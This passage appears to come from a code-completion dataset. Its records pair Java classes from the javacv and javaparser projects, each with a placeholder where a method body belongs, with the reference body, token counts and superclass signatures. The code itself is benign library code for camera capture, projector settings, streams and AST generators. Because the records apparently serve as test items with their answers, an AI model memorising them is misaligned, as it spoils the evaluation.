this.settings = new CalibrationSettings((ProjectiveDevice.CalibrationSettings)settings);
} else if (settings instanceof ProjectiveDevice.CalibratedSettings) {
this.settings = new CalibratedSettings((ProjectiveDevice.CalibratedSettings)settings);
} else {
this.settings = new SettingsImplementation((ProjectiveDevice.Settings)settings);
}
if (this.settings.getName() == null || this.settings.getName().length() == 0) {
this.settings.setName("Projector " + String.format("%2d", this.settings.getScreenNumber()));
}
| 693
| 175
| 868
|
<methods>public void <init>(java.lang.String) ,public void <init>(java.lang.String, java.io.File) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void <init>(java.lang.String, java.lang.String) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void <init>(java.lang.String, FileStorage) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void <init>(org.bytedeco.javacv.ProjectiveDevice.Settings) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public static double[] distort(double[], double[]) ,public transient double[] distort(double[]) ,public void distort(IplImage, IplImage) ,public IplImage distort(IplImage) ,public CvMat getBackProjectionMatrix(CvMat, double, CvMat) ,public IplImage getDistortMap1() ,public IplImage getDistortMap2() ,public CvMat getFrontoParallelH(double[], CvMat, CvMat) ,public int getMapsPyramidLevel() ,public int[] getRGBColorOrder() ,public CvMat getRectifyingHomography(org.bytedeco.javacv.ProjectiveDevice, CvMat) ,public org.bytedeco.javacv.ProjectiveDevice.Settings getSettings() ,public IplImage getUndistortMap1() ,public IplImage getUndistortMap2() ,public boolean isFixedPointMaps() ,public static double[] normalize(double[], CvMat) ,public static org.bytedeco.javacv.ProjectiveDevice[] read(java.lang.String) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void readParameters(java.io.File) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void readParameters(java.lang.String) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void readParameters(FileStorage) throws org.bytedeco.javacv.ProjectiveDevice.Exception,public void rescale(int, int) ,public void setFixedPointMaps(boolean) ,public void setMapsPyramidLevel(int) ,public void setSettings(org.bytedeco.javacv.ProjectiveDevice.Settings) ,public java.lang.String toString() ,public static double[] undistort(double[], double[]) ,public transient double[] undistort(double[]) ,public void undistort(IplImage, IplImage) ,public IplImage undistort(IplImage) ,public static double[] unnormalize(double[], CvMat) ,public static transient void write(java.lang.String, org.bytedeco.javacv.ProjectiveDevice[][]) ,public static transient void write(java.lang.String, org.bytedeco.javacv.ProjectiveDevice[]) ,public void writeParameters(java.io.File) ,public void writeParameters(java.lang.String) ,public void writeParameters(FileStorage) <variables>private static ThreadLocal<CvMat> B4x3,public CvMat E,public CvMat F,private static ThreadLocal<CvMat> P13x4,private static ThreadLocal<CvMat> P23x4,public CvMat R,private static ThreadLocal<CvMat> R13x3,private static ThreadLocal<CvMat> R23x3,public CvMat T,private static ThreadLocal<CvMat> a4x1,public CvMat additiveLight,public double avgColorErr,public double avgEpipolarErr,public double avgReprojErr,public CvMat cameraMatrix,public CvMat colorMixingMatrix,public java.lang.String colorOrder,public double colorR2,private IplImage[] distortMaps1,private IplImage[] distortMaps2,public CvMat distortionCoeffs,public CvMat extrParams,private boolean fixedPointMaps,public int imageHeight,public int imageWidth,private int mapsPyramidLevel,public double maxEpipolarErr,public double maxReprojErr,private static ThreadLocal<CvMat> relativeR3x3,private static ThreadLocal<CvMat> relativeT3x1,public CvMat reprojErrs,private org.bytedeco.javacv.ProjectiveDevice.Settings settings,private static ThreadLocal<CvMat> t3x1,private static ThreadLocal<CvMat> temp3x3,private IplImage tempImage,private IplImage[] undistortMaps1,private IplImage[] undistortMaps2
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/ProjectorSettings.java
|
ProjectorSettings
|
setQuantity
|
class ProjectorSettings extends BaseSettings {
public ProjectorSettings() {
this(false);
}
public ProjectorSettings(boolean calibrated) {
this.calibrated = calibrated;
}
boolean calibrated = false;
public int getQuantity() {
return size();
}
public void setQuantity(int quantity) {<FILL_FUNCTION_BODY>}
@Override public ProjectorDevice.Settings[] toArray() {
return (ProjectorDevice.Settings[])toArray(new ProjectorDevice.Settings[size()]);
}
}
|
Object[] a = toArray();
int i = a.length;
while (i > quantity) {
remove(a[i-1]);
i--;
}
while (i < quantity) {
ProjectorDevice.Settings c = calibrated ? new ProjectorDevice.CalibratedSettings() :
new ProjectorDevice.CalibrationSettings();
c.setName("Projector " + String.format("%2d", i));
c.setScreenNumber(c.getScreenNumber()+i);
add(c);
for (PropertyChangeListener l : pcSupport.getPropertyChangeListeners()) {
((BaseChildSettings)c).addPropertyChangeListener(l);
}
i++;
}
pcSupport.firePropertyChange("quantity", a.length, quantity);
| 149
| 200
| 349
|
<methods>public non-sealed void <init>() ,public void addPropertyChangeListener(java.beans.PropertyChangeListener) ,public int compareTo(org.bytedeco.javacv.BaseSettings) ,public void removePropertyChangeListener(java.beans.PropertyChangeListener) ,public java.lang.Object[] toArray() ,public java.lang.Object[] toArray(java.lang.Object[]) <variables>
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/SeekableByteArrayOutputStream.java
|
SeekableByteArrayOutputStream
|
write
|
class SeekableByteArrayOutputStream extends ByteArrayOutputStream implements Seekable {
long position;
@Override public void seek(long position, int whence) {
if (position < 0 || position > count || whence != 0)
throw new IllegalArgumentException();
this.position = position;
}
@Override public synchronized void write(int b) {
if (position < count) {
buf[(int) position] = (byte) b; // position < count <= MAX_INT
} else {
super.write(b);
}
position++;
}
@Override public synchronized void write(byte[] b, int off, int len) {<FILL_FUNCTION_BODY>}
}
|
if (position < count) {
for (int i = 0 ; i < len ; i++) {
write(b[off + i]); // should be changed for bigegr arrays
}
} else {
super.write(b, off, len);
position = count;
}
| 180
| 77
| 257
|
<methods>public void <init>() ,public void <init>(int) ,public void close() throws java.io.IOException,public synchronized void reset() ,public synchronized int size() ,public synchronized byte[] toByteArray() ,public synchronized java.lang.String toString() ,public synchronized java.lang.String toString(java.lang.String) throws java.io.UnsupportedEncodingException,public synchronized java.lang.String toString(java.nio.charset.Charset) ,public synchronized java.lang.String toString(int) ,public synchronized void write(int) ,public synchronized void write(byte[], int, int) ,public void writeBytes(byte[]) ,public synchronized void writeTo(java.io.OutputStream) throws java.io.IOException<variables>protected byte[] buf,protected int count
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/VideoInputFrameGrabber.java
|
VideoInputFrameGrabber
|
start
|
class VideoInputFrameGrabber extends FrameGrabber {
public static String[] getDeviceDescriptions() throws Exception {
tryLoad();
int count = videoInput.listDevices();
String[] descriptions = new String[count];
for (int i = 0; i < descriptions.length; i++) {
descriptions[i] = videoInput.getDeviceName(i).getString();
}
return descriptions;
}
public static VideoInputFrameGrabber createDefault(File deviceFile) throws Exception { throw new Exception(VideoInputFrameGrabber.class + " does not support device files."); }
public static VideoInputFrameGrabber createDefault(String devicePath) throws Exception { throw new Exception(VideoInputFrameGrabber.class + " does not support device paths."); }
public static VideoInputFrameGrabber createDefault(int deviceNumber) throws Exception { return new VideoInputFrameGrabber(deviceNumber); }
private static Exception loadingException = null;
public static void tryLoad() throws Exception {
if (loadingException != null) {
throw loadingException;
} else {
try {
Loader.load(org.bytedeco.videoinput.global.videoInputLib.class);
} catch (Throwable t) {
throw loadingException = new Exception("Failed to load " + VideoInputFrameGrabber.class, t);
}
}
}
public VideoInputFrameGrabber(int deviceNumber) {
this.deviceNumber = deviceNumber;
}
public void release() throws Exception {
stop();
}
@Override protected void finalize() throws Throwable {
super.finalize();
release();
}
private int deviceNumber = 0;
private videoInput myVideoInput = null;
private IplImage bgrImage = null, grayImage = null;
private BytePointer bgrImageData = null;
private FrameConverter converter = new OpenCVFrameConverter.ToIplImage();
@Override public double getGamma() {
// default to a gamma of 2.2 for cheap Webcams, DV cameras, etc.
if (gamma == 0.0) {
return 2.2;
} else {
return gamma;
}
}
@Override public int getImageWidth() {
return myVideoInput == null ? super.getImageWidth() : myVideoInput.getWidth(deviceNumber);
}
@Override public int getImageHeight() {
return myVideoInput == null ? super.getImageHeight() : myVideoInput.getHeight(deviceNumber);
}
public void start() throws Exception {
start(-1);
}
public void start(int connection) throws Exception {<FILL_FUNCTION_BODY>}
public void stop() throws Exception {
if (myVideoInput != null) {
myVideoInput.stopDevice(deviceNumber);
myVideoInput = null;
}
}
public void trigger() throws Exception {
if (myVideoInput == null) {
throw new Exception("videoInput is null. (Has start() been called?)");
}
int w = myVideoInput.getWidth(deviceNumber), h = myVideoInput.getHeight(deviceNumber);
if (bgrImage == null || bgrImage.width() != w || bgrImage.height() != h) {
bgrImage = IplImage.create(w, h, IPL_DEPTH_8U, 3);
bgrImageData = bgrImage.imageData();
}
for (int i = 0; i < numBuffers+1; i++) {
myVideoInput.getPixels(deviceNumber, bgrImageData, false, true);
}
}
public Frame grab() throws Exception {
if (myVideoInput == null) {
throw new Exception("videoInput is null. (Has start() been called?)");
}
int w = myVideoInput.getWidth(deviceNumber), h = myVideoInput.getHeight(deviceNumber);
if (bgrImage == null || bgrImage.width() != w || bgrImage.height() != h) {
bgrImage = IplImage.create(w, h, IPL_DEPTH_8U, 3);
bgrImageData = bgrImage.imageData();
}
if (!myVideoInput.getPixels(deviceNumber, bgrImageData, false, true)) {
throw new Exception("videoInput.getPixels() Error: Could not get pixels.");
}
timestamp = System.nanoTime()/1000;
if (imageMode == ImageMode.GRAY) {
if (grayImage == null) {
grayImage = IplImage.create(w, h, IPL_DEPTH_8U, 1);
}
cvCvtColor(bgrImage, grayImage, CV_BGR2GRAY);
return converter.convert(grayImage);
} else {
return converter.convert(bgrImage);
}
}
}
|
myVideoInput = new videoInput();
if (frameRate > 0) {
myVideoInput.setIdealFramerate(deviceNumber, (int)frameRate);
}
if (!myVideoInput.setupDevice(deviceNumber, imageWidth > 0 ? imageWidth : 640,
imageHeight > 0 ? imageHeight : 480, connection)) {
myVideoInput = null;
throw new Exception("videoInput.setupDevice() Error: Could not setup device.");
}
if (format != null && format.length() > 0) {
int f = format.equals("VI_NTSC_M") ? VI_NTSC_M :
format.equals("VI_PAL_B") ? VI_PAL_B :
format.equals("VI_PAL_D") ? VI_PAL_D :
format.equals("VI_PAL_G") ? VI_PAL_G :
format.equals("VI_PAL_H") ? VI_PAL_H :
format.equals("VI_PAL_I") ? VI_PAL_I :
format.equals("VI_PAL_M") ? VI_PAL_M :
format.equals("VI_PAL_N") ? VI_PAL_N :
format.equals("VI_PAL_NC") ? VI_PAL_NC :
format.equals("VI_SECAM_B") ? VI_SECAM_B :
format.equals("VI_SECAM_D") ? VI_SECAM_D :
format.equals("VI_SECAM_G") ? VI_SECAM_G :
format.equals("VI_SECAM_H") ? VI_SECAM_H :
format.equals("VI_SECAM_K") ? VI_SECAM_K :
format.equals("VI_SECAM_K1") ? VI_SECAM_K1 :
format.equals("VI_SECAM_L") ? VI_SECAM_L :
format.equals("VI_NTSC_M_J") ? VI_NTSC_M_J :
format.equals("VI_NTSC_433") ? VI_NTSC_433 : -1;
if (f >= 0 && !myVideoInput.setFormat(deviceNumber, f)) {
throw new Exception("videoInput.setFormat() Error: Could not set format " + format + ".");
}
}
| 1,250
| 640
| 1,890
|
<methods>public non-sealed void <init>() ,public void close() throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber create(Class<? extends org.bytedeco.javacv.FrameGrabber>, Class#RAW, java.lang.Object) throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber create(java.lang.String, java.io.File) throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber create(java.lang.String, java.lang.String) throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber create(java.lang.String, int) throws org.bytedeco.javacv.FrameGrabber.Exception,public org.bytedeco.javacv.FrameGrabber.Array createArray(org.bytedeco.javacv.FrameGrabber[]) ,public static org.bytedeco.javacv.FrameGrabber createDefault(java.io.File) throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber createDefault(java.lang.String) throws org.bytedeco.javacv.FrameGrabber.Exception,public static org.bytedeco.javacv.FrameGrabber createDefault(int) throws org.bytedeco.javacv.FrameGrabber.Exception,public void delayedGrab(long) ,public void flush() throws org.bytedeco.javacv.FrameGrabber.Exception,public static Class<? extends org.bytedeco.javacv.FrameGrabber> get(java.lang.String) throws org.bytedeco.javacv.FrameGrabber.Exception,public double getAspectRatio() ,public int getAudioBitrate() ,public int getAudioChannels() ,public int getAudioCodec() ,public java.lang.String getAudioCodecName() ,public int getAudioDisposition() ,public Map<java.lang.String,java.lang.String> getAudioMetadata() ,public java.lang.String getAudioMetadata(java.lang.String) ,public java.lang.String getAudioOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getAudioOptions() ,public Map<java.lang.String,java.nio.Buffer> getAudioSideData() ,public java.nio.Buffer getAudioSideData(java.lang.String) ,public int getAudioStream() ,public int getBitsPerPixel() ,public java.nio.charset.Charset getCharset() ,public static Class<? extends org.bytedeco.javacv.FrameGrabber> getDefault() ,public org.bytedeco.javacv.Frame getDelayedFrame() throws java.lang.InterruptedException, java.util.concurrent.ExecutionException,public long getDelayedTime() throws java.lang.InterruptedException, java.util.concurrent.ExecutionException,public java.lang.String getFormat() ,public int getFrameNumber() ,public double getFrameRate() ,public double getGamma() ,public int getImageHeight() ,public org.bytedeco.javacv.FrameGrabber.ImageMode getImageMode() ,public int getImageScalingFlags() ,public int getImageWidth() ,public int getLengthInFrames() ,public long getLengthInTime() ,public int getMaxDelay() ,public Map<java.lang.String,java.lang.String> getMetadata() ,public java.lang.String getMetadata(java.lang.String) ,public int getNumBuffers() ,public java.lang.String getOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getOptions() ,public int getPixelFormat() ,public int getSampleFormat() ,public org.bytedeco.javacv.FrameGrabber.SampleMode getSampleMode() ,public int getSampleRate() ,public long getSensorPattern() ,public int getTimeout() ,public long getTimestamp() ,public int getVideoBitrate() ,public int getVideoCodec() ,public java.lang.String getVideoCodecName() ,public int getVideoDisposition() ,public Map<java.lang.String,java.lang.String> getVideoMetadata() ,public java.lang.String getVideoMetadata(java.lang.String) ,public java.lang.String getVideoOption(java.lang.String) ,public Map<java.lang.String,java.lang.String> getVideoOptions() ,public Map<java.lang.String,java.nio.Buffer> getVideoSideData() ,public java.nio.Buffer getVideoSideData(java.lang.String) ,public int getVideoStream() ,public abstract org.bytedeco.javacv.Frame grab() throws org.bytedeco.javacv.FrameGrabber.Exception,public org.bytedeco.javacv.Frame grabAtFrameRate() throws org.bytedeco.javacv.FrameGrabber.Exception, java.lang.InterruptedException,public org.bytedeco.javacv.Frame grabFrame() throws org.bytedeco.javacv.FrameGrabber.Exception,public static void init() ,public boolean isDeinterlace() ,public boolean isTriggerMode() ,public abstract void release() throws org.bytedeco.javacv.FrameGrabber.Exception,public void resetStartTime() ,public void restart() throws org.bytedeco.javacv.FrameGrabber.Exception,public void setAspectRatio(double) ,public void setAudioBitrate(int) ,public void setAudioChannels(int) ,public void setAudioCodec(int) ,public void setAudioCodecName(java.lang.String) ,public void setAudioDisposition(int) ,public void setAudioMetadata(Map<java.lang.String,java.lang.String>) ,public void setAudioMetadata(java.lang.String, java.lang.String) ,public void setAudioOption(java.lang.String, java.lang.String) ,public void setAudioOptions(Map<java.lang.String,java.lang.String>) ,public void setAudioSideData(Map<java.lang.String,java.nio.Buffer>) ,public void setAudioSideData(java.lang.String, java.nio.Buffer) ,public void setAudioStream(int) ,public void setBitsPerPixel(int) ,public void setCharset(java.nio.charset.Charset) ,public void setDeinterlace(boolean) ,public void setFormat(java.lang.String) ,public void setFrameNumber(int) throws org.bytedeco.javacv.FrameGrabber.Exception,public void setFrameRate(double) ,public void setGamma(double) ,public void setImageHeight(int) ,public void setImageMode(org.bytedeco.javacv.FrameGrabber.ImageMode) ,public void setImageScalingFlags(int) ,public void setImageWidth(int) ,public void setMaxDelay(int) ,public void setMetadata(Map<java.lang.String,java.lang.String>) ,public void setMetadata(java.lang.String, java.lang.String) ,public void setNumBuffers(int) ,public void setOption(java.lang.String, java.lang.String) ,public void setOptions(Map<java.lang.String,java.lang.String>) ,public void setPixelFormat(int) ,public void setSampleFormat(int) ,public void setSampleMode(org.bytedeco.javacv.FrameGrabber.SampleMode) ,public void setSampleRate(int) ,public void setSensorPattern(long) ,public void setTimeout(int) ,public void setTimestamp(long) throws org.bytedeco.javacv.FrameGrabber.Exception,public void setTriggerMode(boolean) ,public void setVideoBitrate(int) ,public void setVideoCodec(int) ,public void setVideoCodecName(java.lang.String) ,public void setVideoDisposition(int) ,public void setVideoMetadata(Map<java.lang.String,java.lang.String>) ,public void setVideoMetadata(java.lang.String, java.lang.String) ,public void setVideoOption(java.lang.String, java.lang.String) ,public void setVideoOptions(Map<java.lang.String,java.lang.String>) ,public void setVideoSideData(Map<java.lang.String,java.nio.Buffer>) ,public void setVideoSideData(java.lang.String, java.nio.Buffer) ,public void setVideoStream(int) ,public abstract void start() throws org.bytedeco.javacv.FrameGrabber.Exception,public abstract void stop() throws org.bytedeco.javacv.FrameGrabber.Exception,public abstract void trigger() throws org.bytedeco.javacv.FrameGrabber.Exception,public boolean waitForTimestamp(org.bytedeco.javacv.Frame) throws java.lang.InterruptedException<variables>public static final long SENSOR_PATTERN_BGGR,public static final long SENSOR_PATTERN_GBRG,public static final long SENSOR_PATTERN_GRBG,public static final long SENSOR_PATTERN_RGGB,protected double aspectRatio,protected int audioBitrate,protected int audioChannels,protected int audioCodec,protected java.lang.String audioCodecName,protected int audioDisposition,protected Map<java.lang.String,java.lang.String> audioMetadata,protected Map<java.lang.String,java.lang.String> audioOptions,protected Map<java.lang.String,java.nio.Buffer> audioSideData,protected int audioStream,protected int bpp,protected java.nio.charset.Charset charset,protected boolean deinterlace,private org.bytedeco.javacv.Frame delayedFrame,private long delayedTime,private java.util.concurrent.ExecutorService executor,protected java.lang.String format,protected int frameNumber,protected double frameRate,private Future<java.lang.Void> future,protected double gamma,protected int imageHeight,protected org.bytedeco.javacv.FrameGrabber.ImageMode imageMode,protected int imageScalingFlags,protected int imageWidth,public static final List<java.lang.String> list,protected int maxDelay,protected Map<java.lang.String,java.lang.String> metadata,protected int numBuffers,protected Map<java.lang.String,java.lang.String> options,protected int pixelFormat,protected int sampleFormat,protected org.bytedeco.javacv.FrameGrabber.SampleMode sampleMode,protected int sampleRate,protected long sensorPattern,protected long startTime,protected int timeout,protected long timestamp,protected boolean triggerMode,protected int videoBitrate,protected int videoCodec,protected java.lang.String videoCodecName,protected int videoDisposition,protected Map<java.lang.String,java.lang.String> videoMetadata,protected Map<java.lang.String,java.lang.String> videoOptions,protected Map<java.lang.String,java.nio.Buffer> videoSideData,protected int videoStream
|
bytedeco_javacv
|
javacv/src/main/java/org/bytedeco/javacv/cvkernels.java
|
ParallelData
|
multiWarpColorTransform
|
class ParallelData {
KernelData data = null;
CvRect roi = new CvRect();
}
private static ThreadLocal<ParallelData[]> parallelData = new ThreadLocal<ParallelData[]>() {
@Override protected ParallelData[] initialValue() {
ParallelData[] pd = new ParallelData[Parallel.getNumThreads()];
for (int i = 0; i < pd.length; i++) {
pd[i] = new ParallelData();
}
return pd;
}
};
public static void multiWarpColorTransform(final KernelData data, final CvRect roi, final CvScalar fillColor) {<FILL_FUNCTION_BODY>
|
final int size = (int)data.capacity();
final ParallelData[] pd = parallelData.get();
// Copy all data to completely independent data sets
for (int i = 0; i < pd.length; i++) {
if (pd[i].data == null || pd[i].data.capacity() < size) {
pd[i].data = new KernelData(size);
for (int j = 0; j < size; j++) {
KernelData d = pd[i].data.position(j);
data.position(j);
if (data.dstDstDot() != null) {
d.dstDstDot(ByteBuffer.allocateDirect(data.dstDstDot().capacity()*8).
order(ByteOrder.nativeOrder()).asDoubleBuffer());
}
}
}
for (int j = 0; j < size; j++) {
KernelData d = pd[i].data.position(j);
d.put(data.position(j));
d.dstDstDot(d.dstDstDot()); // reset dstDstDot pointer
}
}
// Transform in parallel on multiple threads
final IplImage img = data.position(0).srcImg();
final int depth = img.depth();
final int x, y, w, h;
if (roi != null) {
x = roi.x(); y = roi.y();
w = roi.width(); h = roi.height();
} else {
x = 0; y = 0;
w = img.width(); h = img.height();
}
Parallel.loop(y, y+h, pd.length, new Parallel.Looper() {
public void loop(int from, int to, int looperID) {
CvRect r = pd[looperID].roi.x(x).y(from).width(w).height(to-from);
if (depth == IPL_DEPTH_32F) {
multiWarpColorTransform32F(pd[looperID].data.position(0), size, r, fillColor);
} else if (depth == IPL_DEPTH_8U) {
multiWarpColorTransform8U(pd[looperID].data.position(0), size, r, fillColor);
} else {
assert false;
}
}});
// Reduce data as required
for (int i = 0; i < size; i++) {
int dstCount = 0;
int dstCountZero = 0;
int dstCountOutlier = 0;
double srcDstDot = 0;
double[] dstDstDot = null;
if (data.dstDstDot() != null) {
dstDstDot = new double[data.dstDstDot().capacity()];
}
for (int j = 0; j < pd.length; j++) {
KernelData d = pd[j].data.position(i);
dstCount += d.dstCount();
dstCountZero += d.dstCountZero();
dstCountOutlier += d.dstCountOutlier();
srcDstDot += d.srcDstDot();
if (dstDstDot != null && d.dstDstDot() != null) {
for (int k = 0; k < dstDstDot.length; k++) {
dstDstDot[k] += d.dstDstDot().get(k);
}
}
}
data.position(i);
data.dstCount(dstCount);
data.dstCountZero(dstCountZero);
data.dstCountOutlier(dstCountOutlier);
data.srcDstDot(srcDstDot);
if (dstDstDot != null && data.dstDstDot() != null) {
data.dstDstDot().position(0);
data.dstDstDot().put(dstDstDot);
}
}
| 184
| 1,070
| 1,254
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/CompilationUnitGenerator.java
|
CompilationUnitGenerator
|
generate
|
class CompilationUnitGenerator extends Generator {
protected CompilationUnitGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
@Override
public void generate() throws Exception {<FILL_FUNCTION_BODY>}
protected abstract void generateCompilationUnit(CompilationUnit compilationUnit);
}
|
List<ParseResult<CompilationUnit>> parsedCus = sourceRoot.tryToParse();
for (ParseResult<CompilationUnit> cu : parsedCus) {
cu.ifSuccessful(this::generateCompilationUnit);
}
| 80
| 63
| 143
|
<methods>public abstract void generate() throws java.lang.Exception<variables>protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/Generator.java
|
Generator
|
addMethod
|
class Generator {
protected final SourceRoot sourceRoot;
protected Generator(SourceRoot sourceRoot) {
this.sourceRoot = sourceRoot;
}
public abstract void generate() throws Exception;
protected <T extends Node & NodeWithAnnotations<?>> void annotateGenerated(T node) {
annotate(node, Generated.class, new StringLiteralExpr(getClass().getName()));
}
protected <T extends Node & NodeWithAnnotations<?>> void annotateSuppressWarnings(T node) {
annotate(node, SuppressWarnings.class, new StringLiteralExpr("unchecked"));
}
protected void annotateOverridden(MethodDeclaration method) {
annotate(method, Override.class, null);
}
private <T extends Node & NodeWithAnnotations<?>> void annotate(T node, Class<?> annotation, Expression content) {
node.setAnnotations(
node.getAnnotations().stream()
.filter(a -> !a.getNameAsString().equals(annotation.getSimpleName()))
.collect(toNodeList()));
if (content != null) {
node.addSingleMemberAnnotation(annotation.getSimpleName(), content);
} else {
node.addMarkerAnnotation(annotation.getSimpleName());
}
node.tryAddImportToParentCompilationUnit(annotation);
}
/**
* Utility method that looks for a method or constructor with an identical signature as "callable" and replaces it
* with callable. If not found, adds callable. When the new callable has no javadoc, any old javadoc will be kept.
*/
protected void addOrReplaceWhenSameSignature(ClassOrInterfaceDeclaration containingClassOrInterface, CallableDeclaration<?> callable) {
addMethod(containingClassOrInterface, callable, () -> containingClassOrInterface.addMember(callable));
}
/**
* Utility method that looks for a method or constructor with an identical signature as "callable" and replaces it
* with callable. If not found, fails. When the new callable has no javadoc, any old javadoc will be kept. The
* method or constructor is annotated with the generator class.
*/
protected void replaceWhenSameSignature(ClassOrInterfaceDeclaration containingClassOrInterface, CallableDeclaration<?> callable) {
addMethod(containingClassOrInterface, callable,
() -> {
throw new AssertionError(f("Wanted to regenerate a method with signature %s in %s, but it wasn't there.", callable.getSignature(), containingClassOrInterface.getNameAsString()));
});
}
private void addMethod(
ClassOrInterfaceDeclaration containingClassOrInterface,
CallableDeclaration<?> callable,
Runnable onNoExistingMethod) {<FILL_FUNCTION_BODY>}
/**
* Removes all methods from containingClassOrInterface that have the same signature as callable. This is not used by
* any code, but it is useful when changing a generator and you need to get rid of a set of outdated methods.
*/
protected void removeMethodWithSameSignature(ClassOrInterfaceDeclaration containingClassOrInterface, CallableDeclaration<?> callable) {
for (CallableDeclaration<?> existingCallable : containingClassOrInterface.getCallablesWithSignature(callable.getSignature())) {
containingClassOrInterface.remove(existingCallable);
}
}
}
|
List<CallableDeclaration<?>> existingCallables = containingClassOrInterface.getCallablesWithSignature(callable.getSignature());
if (existingCallables.isEmpty()) {
onNoExistingMethod.run();
return;
}
if (existingCallables.size() > 1) {
throw new AssertionError(f("Wanted to regenerate a method with signature %s in %s, but found more than one.", callable.getSignature(), containingClassOrInterface.getNameAsString()));
}
final CallableDeclaration<?> existingCallable = existingCallables.get(0);
callable.setJavadocComment(callable.getJavadocComment().orElseGet(() -> existingCallable.getJavadocComment().orElse(null)));
annotateGenerated(callable);
containingClassOrInterface.getMembers().replace(existingCallable, callable);
| 845
| 220
| 1,065
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/NodeGenerator.java
|
NodeGenerator
|
annotateWhenOverridden
|
class NodeGenerator extends Generator {
protected NodeGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
public final void generate() throws Exception {
Log.info("Running %s", () -> getClass().getSimpleName());
for (BaseNodeMetaModel nodeMetaModel : JavaParserMetaModel.getNodeMetaModels()) {
Pair<CompilationUnit, ClassOrInterfaceDeclaration> result = parseNode(nodeMetaModel);
generateNode(nodeMetaModel, result.a, result.b);
}
after();
}
protected Pair<CompilationUnit, ClassOrInterfaceDeclaration> parseNode(BaseNodeMetaModel nodeMetaModel) {
CompilationUnit nodeCu = sourceRoot.parse(nodeMetaModel.getPackageName(), nodeMetaModel.getTypeName() + ".java");
ClassOrInterfaceDeclaration nodeCoid = nodeCu.getClassByName(nodeMetaModel.getTypeName()).orElseThrow(() -> new AssertionError("Can't find class"));
return new Pair<>(nodeCu, nodeCoid);
}
/**
* Annotate a method with the {@link Override} annotation, if it overrides other method.
*
* @param nodeMetaModel The current meta model.
* @param methodDeclaration The method declaration.
*/
protected void annotateWhenOverridden(BaseNodeMetaModel nodeMetaModel, MethodDeclaration methodDeclaration) {<FILL_FUNCTION_BODY>}
protected void after() throws Exception {
}
protected abstract void generateNode(BaseNodeMetaModel nodeMetaModel, CompilationUnit nodeCu, ClassOrInterfaceDeclaration nodeCoid) throws Exception;
}
|
Class<? extends Node> type = nodeMetaModel.getType();
Class<?> superClass = type.getSuperclass();
boolean isOverriding = Arrays.stream(superClass.getMethods())
.filter(m -> m.getName().equals(methodDeclaration.getNameAsString()))
.anyMatch(m -> m.getParameters().length == methodDeclaration.getParameters().size());
if (isOverriding) {
annotateOverridden(methodDeclaration);
}
| 403
| 124
| 527
|
<methods>public abstract void generate() throws java.lang.Exception<variables>protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-generators/src/main/java/com/github/javaparser/generator/VisitorGenerator.java
|
VisitorGenerator
|
generate
|
class VisitorGenerator extends Generator {
private final String pkg;
private final String visitorClassName;
private final String returnType;
private final String argumentType;
private final boolean createMissingVisitMethods;
protected VisitorGenerator(SourceRoot sourceRoot, String pkg, String visitorClassName, String returnType, String argumentType, boolean createMissingVisitMethods) {
super(sourceRoot);
this.pkg = pkg;
this.visitorClassName = visitorClassName;
this.returnType = returnType;
this.argumentType = argumentType;
this.createMissingVisitMethods = createMissingVisitMethods;
}
public final void generate() throws Exception {<FILL_FUNCTION_BODY>}
protected void after() throws Exception {
}
private void generateVisitMethodForNode(BaseNodeMetaModel node, ClassOrInterfaceDeclaration visitorClass, CompilationUnit compilationUnit) {
final Optional<MethodDeclaration> existingVisitMethod = visitorClass.getMethods().stream()
.filter(m -> "visit".equals(m.getNameAsString()))
.filter(m -> m.getParameter(0).getType().toString().equals(node.getTypeName()))
.findFirst();
if (existingVisitMethod.isPresent()) {
generateVisitMethodBody(node, existingVisitMethod.get(), compilationUnit);
} else if (createMissingVisitMethods) {
MethodDeclaration newVisitMethod = visitorClass.addMethod("visit")
.addParameter(node.getTypeNameGenerified(), "n")
.addParameter(argumentType, "arg")
.setType(returnType);
if (!visitorClass.isInterface()) {
newVisitMethod
.addAnnotation(new MarkerAnnotationExpr(new Name("Override")))
.addModifier(PUBLIC);
}
generateVisitMethodBody(node, newVisitMethod, compilationUnit);
}
}
protected abstract void generateVisitMethodBody(BaseNodeMetaModel node, MethodDeclaration visitMethod, CompilationUnit compilationUnit);
}
|
Log.info("Running %s", () -> getClass().getSimpleName());
final CompilationUnit compilationUnit = sourceRoot.tryToParse(pkg, visitorClassName + ".java").getResult().get();
Optional<ClassOrInterfaceDeclaration> visitorClassOptional = compilationUnit.getClassByName(visitorClassName);
if (!visitorClassOptional.isPresent()) {
visitorClassOptional = compilationUnit.getInterfaceByName(visitorClassName);
}
final ClassOrInterfaceDeclaration visitorClass = visitorClassOptional.get();
JavaParserMetaModel.getNodeMetaModels().stream()
.filter((baseNodeMetaModel) -> !baseNodeMetaModel.isAbstract())
.forEach(node -> generateVisitMethodForNode(node, visitorClass, compilationUnit));
after();
| 501
| 198
| 699
|
